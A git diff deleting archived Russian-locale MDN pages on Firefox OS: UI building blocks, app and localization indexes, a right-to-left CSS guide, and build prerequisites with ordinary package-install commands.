- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Scrolling">Scrolling</a></dt>
- <dd>Scrolling areas allow the user to move text and/or images across the device's display.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Search">Search</a></dt>
- <dd>Search is used to filter a list or find context-specific content.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Slider">Slider</a></dt>
- <dd>A Slider (which was called Seekbar in older Firefox OS versions) is used to select a value from a continuous or discrete range of values by dragging the handle.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Select_mode">Select mode</a></dt>
- <dd>Select Mode (which was called Edit Mode in older Firefox OS versions) is designed to select and perform actions on items.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Subheader">Subheader</a></dt>
- <dd>Subheaders are used to describe a subsection of content.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Switches">Switches</a></dt>
- <dd>Switches (such as checkboxes, etc.) allow users to activate and deactivate items. Switches are also used to select items within a list.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Tab_Filter">Tab/Filter</a></dt>
- <dd>A Tab/Filter gives the user a way to easily switch between views or to filter a set of data.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Toolbars">Toolbars</a></dt>
- <dd>Toolbars contain actions, indicators and navigation elements associated with the current view.</dd>
- <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Value_selector">Value selector</a></dt>
- <dd>Value Selectors let the user choose from among a list of possible values.</dd>
-</dl>
-</div>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: For a detailed guide to the design pattern followed by the building blocks when the Arabic locale (bidirectional) is selected, read <a href="/en-US/Apps/Design/Firefox_OS_in_Arabic">Firefox OS in Arabic</a>.</p>
-</div>
-
-<h2 id="Cross_browser_CSS">Cross browser CSS</h2>
-
-<p>Arnau March wrote a CSS file called <a href="https://github.com/mdn/gaia-2.0-bb/blob/gh-pages/cross_browser_css/cross_browser.css">cross browser CSS</a>, containing rules to allow Firefox 2.0 building blocks to render properly across different browsers (ie 9, Firefox 18, Chrome 24, Safari 5.1.) If you want to write hosted apps that look ok across different browsers, include this CSS in your project.</p>
-
-<h2 id="Browse_Firefox_OS_Building_Block_implementations_by_version">Browse Firefox OS Building Block implementations by version</h2>
-
-<p>The pages below list links to pages covering the Firefox OS Building Block implementations as they appear in different versions of Firefox OS.</p>
-
-<ul>
- <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.3">Firefox OS 2.3 Web components</a></li>
- <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.0">Firefox OS 2.0 building blocks</a> (covers Firefox OS 2.0–2.2.)</li>
- <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">Firefox OS 1.x building blocks</a> (covers older versions of Firefox OS.)</li>
-</ul>
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/index.html b/files/ru/archive/b2g_os/firefox_os_apps/index.html
deleted file mode 100644
index 370236dd14..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_apps/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: Firefox OS apps
-slug: Archive/B2G_OS/Firefox_OS_apps
-tags:
- - Apps
- - Building
- - Components
- - Firefox OS
- - Installing
- - NeedsTranslation
- - TopicStub
- - device APIs
-translation_of: Archive/B2G_OS/Firefox_OS_apps
----
-<p class="summary">This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.</p>
-
-<h2 id="Building_Firefox_OS_apps">Building Firefox OS apps</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS">Building apps for Firefox OS</a></dt>
- <dd>Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Localization">Localization</a></dt>
- <dd>This set of articles provides information for developers wishing to provide localized versions of their apps.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Performance">Performance</a></dt>
- <dd>This page lists performance-related topics specific to Firefox OS.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_Accounts_on_Firefox_OS">Firefox Accounts on Firefox OS</a></dt>
- <dd>This article provides an overview of using <a href="/en-US/docs/Mozilla/Tech/Firefox_Accounts">Firefox Accounts</a> in Firefox OS.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Reference_apps">Reference apps</a></dt>
- <dd>This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Screencast_series:_App_Basics_for_Firefox_OS">Screencast series: App Basics for Firefox OS</a></dt>
- <dd>In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.</dd>
-</dl>
-
-<h2 id="Building_blocks">Building blocks</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_blocks">Building Blocks</a></dt>
- <dd>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</dd>
-</dl>
-
-<h2 id="Styleguides">Styleguides</h2>
-
-<dl>
- <dt><a href="http://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS Visual styleguide</a></dt>
- <dd>Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Copy_styleguide">Firefox OS Copy styleguide</a></dt>
- <dd>This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_in_Arabic">Firefox OS in Arabic</a></dt>
- <dd>A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)</dd>
-</dl>
-
-<h2 id="Assets">Assets</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Design_asset_library">Firefox OS design asset library</a></dt>
- <dd>In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Icon_font">Firefox OS icon font</a></dt>
- <dd>Firefox OS has its own icon font set available: this article explains how to use it in your own apps.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Transitions">Firefox OS transitions</a></dt>
- <dd>A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.</dd>
-</dl>
-
-<h2 id="References">References</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_device_APIs">Firefox OS device APIs</a></dt>
- <dd>This article provides a list of pages covering those APIs, as well as the <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest">app manifest</a> permissions for each one.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_app_tools">Firefox OS app tools</a></dt>
- <dd>This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd>
-</dl>
-
-<h2 id="Other_app_topics">Other app topics</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Porting_Chrome_apps">Porting Chrome apps to Firefox OS Apps</a></dt>
- <dd>This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/App_development_FAQ">App development FAQ</a></dt>
- <dd>This FAQ is a compilation of answers to common app development questions.</dd>
-</dl>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Marketplace">Firefox Marketplace</a></li>
-</ul>
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html b/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html
deleted file mode 100644
index cc6a25c61d..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: Разработка Bidi приложений
-slug: Archive/B2G_OS/Firefox_OS_apps/Localization/Developing_Bidi_Apps
-tags:
- - Apps
- - BiDi
- - CSS
- - Localization
- - Локализация
- - Приложения
-translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization/Developing_Bidi_Apps
----
-<p class="summary">В этом документе перечислены некоторые шаблоны и лучшие практики по созданию BiDi приложений (двунаправленный (bidirectional) - слева направо и справа налево).</p>
-
-<h2 id="Направление_документа">Направление документа</h2>
-
-<pre class="brush: html"><code><span class="tag">&lt;html</span><span class="pln"> </span><span class="atn">dir</span><span class="pun">=</span><span class="atv">"rtl"</span><span class="tag">&gt;</span></code></pre>
-
-<p>Если вы используете <a href="/en-US/docs/Web/API/Navigator.mozL10n"><code>navigator.mozL10n</code></a> из <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/l10n.js">библиотеки локализации Gaia</a>, тогда атрибут <code>dir</code> устанавливается автоматически в зависимости от текущего языка, в соответствии с предпочтениями пользователя.</p>
-
-<h2 id="Направление_текста">Направление текста</h2>
-
-<pre class="brush: css">p {
- text-align: left; /* отступление для старых браузеров */
- text-align: start;
-}
-
-<code><span class="pln">html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> </span><span class="pun">p</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
- text</span><span class="pun">-</span><span class="pln">align</span><span class="pun">:</span><span class="pln"> right</span><span class="pun">;</span><span class="pln"> </span><span class="com">/*
-}</span></code></pre>
-
-<pre class="brush: css"><code><span class="pun">.endAligned</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
- text</span><span class="pun">-</span><span class="pln">align</span><span class="pun">:</span><span class="pln"> right</span><span class="pun">; /* отступление для старых браузеров */
- text-align: end;</span><span class="com">
-}</span>
-
-<span class="pln">html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.endAligned</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
- text</span><span class="pun">-</span><span class="pln">align</span><span class="pun">:</span><span class="pln"> left</span><span class="pun">;</span><span class="pln"> </span><span class="com">/*
-}</span></code></pre>
-
-<h2 id="Модель_области_элемента">Модель области элемента</h2>
-
-<p>Атрибуты margins, paddings и borders необходимо задавать.</p>
-
-<pre class="brush: css">.box {
- margin-left: 20px;
-}
-
-html[dir=rtl] .box {
- margin-left: 0;
- margin-right: 20px;
-}
-</pre>
-
-<p>В браузерах Firefox и Webkit вы также можете использовать экспериментальные атрибуты <a href="/en-US/docs/Web/CSS/-moz-margin-start">margin-start</a>, <a href="/en-US/docs/Web/CSS/-moz-margin-end">margin-end</a>, <a href="/en-US/docs/Web/CSS/-moz-padding-start">padding-start</a>, <a href="/en-US/docs/Web/CSS/-moz-padding-end">padding-end</a>, <a href="/en-US/docs/Web/CSS/-moz-border-start">border-start</a> и <a href="/en-US/docs/Web/CSS/-moz-border-end">border-end</a>.</p>
-
-<h2 id="Позиционирование">Позиционирование</h2>
-
-<p>Плавающие (floats), clear и абсолютные (absolute) координаты необходимо задавать.</p>
-
-<pre class="brush: css"><code><span class="pun">.nav</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
- </span><span class="kwd">float</span><span class="pun">:</span><span class="pln"> right</span><span class="pun">;</span><span class="pln">
-</span><span class="pun">}</span><span class="pln">
-
-html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> </span><span class="pun">.nav</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
- </span><span class="kwd">float</span><span class="pun">:</span><span class="pln"> left</span><span class="pun">;</span><span class="pln">
-</span><span class="pun">}</span></code></pre>
-
-<pre class="brush: css"><code><span class="pun">#clippy</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
- position</span><span class="pun">:</span><span class="pln"> absolute</span><span class="pun">;</span><span class="pln">
- bottom</span><span class="pun">:</span><span class="pln"> </span><span class="lit">20px</span><span class="pun">;</span><span class="pln">
- right</span><span class="pun">:</span><span class="pln"> </span><span class="lit">20px</span><span class="pun">;</span><span class="pln">
-</span><span class="pun">}</span><span class="pln">
-
-html</span><span class="pun">[</span><span class="pln">dir</span><span class="pun">=</span><span class="pln">rtl</span><span class="pun">]</span><span class="pln"> #clippy </span><span class="pun">{</span><span class="pln">
- right</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">auto</span><span class="pun">;</span><span class="pln">
- left</span><span class="pun">:</span><span class="pln"> </span><span class="lit">20px</span><span class="pun">;</span><span class="pln">
-</span><span class="pun">}</span></code></pre>
-
-<p> </p>
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html b/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html
deleted file mode 100644
index 26cc4224f4..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: App localization
-slug: Archive/B2G_OS/Firefox_OS_apps/Localization
-tags:
- - Apps
- - B2G
- - Firefox OS
- - Gaia
- - L10n.js
- - Localization
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization
----
-<p></p><section class="Quick_links" id="Quick_Links">
-
-<ol>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting B2G OS</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
-
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
-</ol>
-</section><p></p>
-
-<div class="summary">
-<p><span class="seoSummary">This set of articles provides information for developers wishing to provide localized versions of their apps.</span></p>
-</div>
-
-<h2 id="Tutorials">Tutorials</h2>
-
-<dl>
- <dt><a href="/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Getting started with app localization</a></dt>
- <dd>This tutorial provides a detailed guide to app localization.</dd>
- <dt><a href="/en-US/Apps/Build/Localization/App_Localization_with_Transifex">Connecting developers and translators with Transifex</a></dt>
- <dd>This article explores the use of <a href="https://www.transifex.com/">Transifex</a> for managing translation work, both for app developers and localizers.</dd>
-</dl>
-
-<h2 id="Reference">Reference</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Apps/Build/Localization/L10n.js_reference">L10n.js reference</a></dt>
- <dd>This article provides a reference for the l10n.js library, and its associated date helper, l10n_date.js.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Build/Localization/Internationalization_helpers_IntlHelper_and_mozIntl">Internationalization helpers: IntlHelper and mozIntl</a></dt>
- <dd>This article looks at how Firefox OS handles localization of dates, times, numbers and collators from version 2.5 onwards, using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl">Internationalization API</a> and Gaia's built in helpers, <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/intl_helper.js">IntlHelper</a> and <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/moz_intl.js">mozIntl</a>.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Build/Localization/Localization_code_best_practices">App localization code best practices</a></dt>
- <dd>Localization best practices and advanced techniques for experienced Gaia/app developers.</dd>
- <dt><a href="/en-US/Apps/Build/Localization/Developing_Bidi_Apps">Developing Bidi Apps</a></dt>
- <dd>Best coding practices and guidelines for developing bi-directional (<em>left-to-right</em> and <em>right-to-left</em>, RTL) apps.</dd>
-</dl>
-
-<h2 id="Tools">Tools</h2>
-
-<dl>
- <dt><a href="https://github.com/robnyman/TranslationTester">Translation tester</a></dt>
- <dd>This app is for testing translations for Firefox OS apps and provides a blueprint for adding translation support to your own apps.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html b/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html
deleted file mode 100644
index ec523c3b98..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html
+++ /dev/null
@@ -1,258 +0,0 @@
----
-title: 'Прежде, чем собрать Firefox OS'
-slug: Archive/B2G_OS/Firefox_OS_build_prerequisites
-translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites
----
-<p>Перед получением исходного кода для сборки Firefox OS, Вам понадобится правильно сконфигурированная <a href="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions">система сборки</a>. В настоящее время поддерживается сборка на 64-битных дистрибутивах Linux и на Mac OS X.</p>
-<h2 id="Приобретите_совместимое_устройство_либо_используйте_эмулятор">Приобретите совместимое устройство либо используйте эмулятор</h2>
-<p><span id="answer_long0" style="display: block;">Хотя мы поддерживаем несколько различных типов мобильных устройств, некоторые из них выпускаются в различных модификациях. В настоящее время мы поддерживаем лишь отдельные модификации, поэтому некоторые устройства будут обеспечивать лучшую совместимость по сравнению с другими: </span></p>
-<h3 id="Первая_очередь_(Tier_1)">Первая очередь (Tier 1)</h3>
-<p>Устройства первой очереди - наша основная целевая платформа и они, как правило, будут первыми получать багфиксы и обновления функционала.</p>
-<dl>
- <dt>
- Keon</dt>
- <dd>
- Keon - это устройство <a href="http://www.geeksphone.com/" title="http://www.geeksphone.com/">Geeksphone</a> Keon, одно из первых мобильных устройств для компьютерных фанатов (гиков). Обратите внимание, что сборки для этих устройств предоставляются Geeksphone.</dd>
- <dt>
- Inari</dt>
- <dd>
- Inari  - ещё одно тестовое устройство.</dd>
- <dt>
- Unagi</dt>
- <dd>
- Unagi - это мобильные устройства, используемые в качестве тестовой платформы при разработке смартфонов нижней и средней ценовой категории. Многие основные разработчики Firefox OS работают с Unagi.</dd>
- <dt>
- Otoro</dt>
- <dd>
- Otoro - это мобильные устройства, используемые в качестве тестовой платформы при разработке смартфонов нижней и средней ценовой категории. Многие основные разработчики Firefox OS работают с Otoro.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="/en-US/docs/Mozilla/Firefox_OS/Pandaboard">Pandaboard</a></dt>
- <dd>
- Pandaboard - это development board на базе архитектуры OMAP 4, используемая для разработки под мобильные платформы.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">Эмулятор (ARM и x86)</a></dt>
- <dd>
- Доступны два типа эмуляторов: один для эмуляции ARM и второй для x86.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Desktop</a></dt>
- <dd>
- Вы также можете собрать десктопную версию Firefox OS; она запускает <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a> в приложении <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a>, после чего Вы можете внутри него пользоваться опытом работы с <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia">Gaia</a>.</dd>
-</dl>
-<p>Вы всегда можете, конечно же, собрать <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">десктопный клиент</a> или один из <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">эмуляторов</a>, не имея вообще никакого мобильного устройства.</p>
-<h3 id="Вторая_очередь_(Tier_2)">Вторая очередь (Tier 2)</h3>
-<p><span id="answer_long1" style="display: block;">Устройства второй очереди обладают необходимой функциональностью и многие разработчики (особенно разработчики прикладных приложений) используют их, таким образом, устройства из этого ряда будут получать обновления вторыми по очереди.</span></p>
-<dl>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S" title="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S"><span class="link-https">Samsung Nexus S</span></a></dt>
- <dd>
- Гарантированно поддерживаемыми моделями устройств Nexus S являются модели GT-I9020A и GT-I9023 (другие модели тоже могут работать).</dd>
- <dt>
- Samsung Nexus S 4G</dt>
- <dd>
- SPH-D720 поддерживается как устройство второй очереди.</dd>
-</dl>
-<h3 id="Третья_очередь_(Tier_3)">Третья очередь (Tier 3)</h3>
-<p><span id="answer_long1" style="display: block;">Firefox OS может быть собрана для этих устройств, но они не относятся к числу целевых платформ для основных разработчиков. Они могут существенно отличаться в меньшую сторону в плане надёжности и функционала от устройств первой и второй очередей.</span></p>
-<dl>
- <dt>
- Samsung Galaxy S2</dt>
- <dd>
- Единственная поддерживаемая модель - i9100; никакие другие официально не совместимы (i9100P может работать, поскольку его единственное отличие заключается в дополнительном NFC чипе).</dd>
- <dt>
- Samsung Galaxy Nexus</dt>
- <dd>
- В настоящее время нам не известно о какой-либо несовместимости данных устройств с Firefox OS.</dd>
- <dt>
- Tara</dt>
- <dd>
- Tara - ещё одно тестовое устройство. Manifest для Tara лежит только в бранче master. Скрипт для получения Tara-кода: "BRANCH=master ./config.sh tara".</dd>
-</dl>
-<div class="warning">
- <strong>Важно</strong>: Поддерживаются только устройства с как минимум <strong>Android 4</strong> (aka <strong>Ice Cream Sandwich</strong>). Если Ваше устройство находится в одном из списков выше, но снабжено более старой версией ОС Android, пожалуйста, предварительно обновите ОС.</div>
-<div class="note">
- <h2 id="У_устройств_очереди_2_и_3_отсутствует_кнопка_Home">У устройств очереди 2 и 3 отсутствует кнопка Home</h2>
- <p>У всех устройств первой очереди есть хардварная кнопка Home, возвращающая пользователя на стартовый экран. Большинство современных ICS Android-устройств для навигации используют экранные тач-кнопки. При отсутствии кнопки Home Вы не сможете выйти из некоторых приложений, например, их приложения для работы с камерой. Это делает Firefox OS неподходящей для повседневного использования на таких устройствах.</p>
-</div>
-<h2 id="Системные_требования_для_Linux">Системные требования для Linux</h2>
-<p>Для сборки на Linux Вам требуется следующая конфигурация:</p>
-<ul>
- <li>Установленный <strong>64-битный GNU/Linux</strong> дистрибутив (мы рекомендуем Ubuntu 12.04).</li>
- <li>Не менее <strong>4 GB</strong> RAM/swap space.</li>
- <li>Не менее <strong>20 GB</strong> свободного места на жёстком диске.</li>
-</ul>
-<p>Это более чем необходимый минимум, но иногда сборка падает тупо по причине нехватки ресурсов.</p>
-<p>Вам потребуются также следующие предустановленные инструменты:</p>
-<ul>
- <li><strong>autoconf 2.13</strong></li>
- <li><strong>bison</strong></li>
- <li><strong>bzip2</strong></li>
- <li><strong>ccache</strong></li>
- <li><strong>curl</strong></li>
- <li><strong>flex</strong></li>
- <li><strong>gawk</strong></li>
- <li><strong>git</strong></li>
- <li><strong>gcc / g++ / g++-multilib</strong></li>
- <li><strong>make</strong></li>
- <li><strong>OpenGL headers</strong></li>
- <li><strong>patch</strong></li>
- <li><strong>X11 headers</strong></li>
- <li><strong>32-bit ncurses</strong></li>
- <li><strong>32-bit zlib</strong></li>
-</ul>
-<h3 id="Примеры_64-битной_инсталляции"><strong>Примеры 64-битной инсталляции:</strong></h3>
-<p><strong>Ubuntu 12.04 / Linux Mint 13 / Debian 6</strong></p>
-<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
-<p class="note">При сборке на 64-битной Ubuntu Вам может потребоваться добавить симлинки на 32-битные версии <code>libX11.so</code> и <code>libGL.so</code>:</p>
-<pre class="note">$ sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
-$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre>
-<p><strong>Ubuntu 12.10</strong></p>
-<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
-<p class="note">Дополнительно к описанным выше шагам по фику косяков с 32-битными версиями <code>libX11.so</code> и <code>libGL.so</code> библиотек, после скачивания исходников Вам также придётся также прописать GCC 4.6 как дефолтный компилятор (default host compiler), см. <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">здесь</a> как это сделать.</p>
-<p class="note">На свежей инсталляции Ubuntu 12.10 вываливается ошибка по поводу неудовлетворённых зависимостей для ia32-libs. Лечится так:</p>
-<pre>sudo dpkg --add-architecture i386
-sudo apt-get update
-sudo apt-get install ia32-libs</pre>
-<p><strong>Ubuntu 13.04</strong></p>
